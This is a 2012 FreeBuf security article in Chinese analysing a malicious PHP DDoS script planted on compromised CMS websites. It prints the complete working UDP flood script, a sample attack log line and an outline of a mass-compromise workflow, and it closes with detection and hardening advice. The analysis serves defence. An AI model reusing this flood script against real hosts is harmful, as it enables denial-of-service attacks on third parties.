freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

恶意DDOS脚本日志分析报告
2012-08-20 21:34:20

近期有大量的网站反馈,某IP持续请求网站上的某脚本文件(本例中是diy.php),产生大量的针对其他网站的访问请求,某安全团队在与用户取得联系后得到访问日志和脚本的源代码如下:

访问日志:
199.36.74.138 - - [29/Jul/2012:00:48:00 +0800] "GET /include/diy.php?host=76.10.221.209&port=6005&time=60 HTTP/1.1" 200 1371

PHP DDOS脚本:


<?php
    set_time_limit(999999);
    $host = $_GET['host'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $Sendlen = 65535;
    $packets = 0;
    ignore_user_abort(True);
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
            if (StrLen($_GET['rat'])<-------->0){
                    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                    exit;
                }
            echo "Parameters can not be empty!";
            exit;
    }
    for($i=0;$i&lt;$Sendlen;$i++){
            $out .= "A";
        }
    $max_time = time()+$exec_time;
    echo "最大攻击时间:" . $max_time . "
";
    echo "攻击目标IP:" . $host . "
";
    echo "攻击端口:" . $host . "
";
    while(1){
        $packets++;
        if(time() &gt; $max_time){
            break;
        }
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
    }
    echo "Send Host:$host:$port

";
    echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
    echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

    ?>


该脚本使用了GET方式获取host,port和time三个参数,并且定义了发送的数据包大小为65535,最终构造的数据包为65535个“A”,然后通过调用fsockopen函数:fsockopen("udp://$host",$port, $errno, $errstr, 5);,采用UDP协议发送恶意数据包到目标网站的目标端口,以网站服务器为源头发起DOS攻击,消耗大量网站流量,占用网络带宽,最终导致网站无法正常访问。


经测试以上脚本每分钟发送的数据包平均能达到40W以上,对网站正常服务的杀伤力很大。在对遭受恶意DDOS脚本攻击的网站应用统计后发现,大部分网站使用的是dedecms以及phpcms作为网站应用,这也许与之前的相关CMS漏洞有关。


此类攻击方式类似于前几年比较盛行的mass sql injection攻击:即通过一个已知web应用的安全漏洞(比如SQL注入),结合搜索引擎,就可以发现大批存在该漏洞的网站,从而实现全自动的攻击流程:

发现web应用漏洞


1、发现web应用漏洞
2、搜索引擎寻找漏洞网站群(使用该web应用的网站)
3、结合爬虫批量攻击所有网站
4、批量上传恶意文件
5、批量发起DOS攻击
6、黑客主控端监控并维护被入侵网站列表


黑客通过以上步骤能够轻松实现有目的、批量、智能化的大范围恶意攻击。


针对恶意DOS脚本攻击的解决方案:

1.检查网站所有文件是否出现恶意fsockopen函数调用,或者以“udp://”为关键字grep检查网站所有文件,查看是否被植入恶意DOS脚本。
2.修改php.ini,设置disable_function:fsockopen,禁用fsockopen函数。
3.安装开源网站应用的最新安全补丁。

文/日志宝

本文作者:, 转载请注明来自FreeBuf.COM

被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑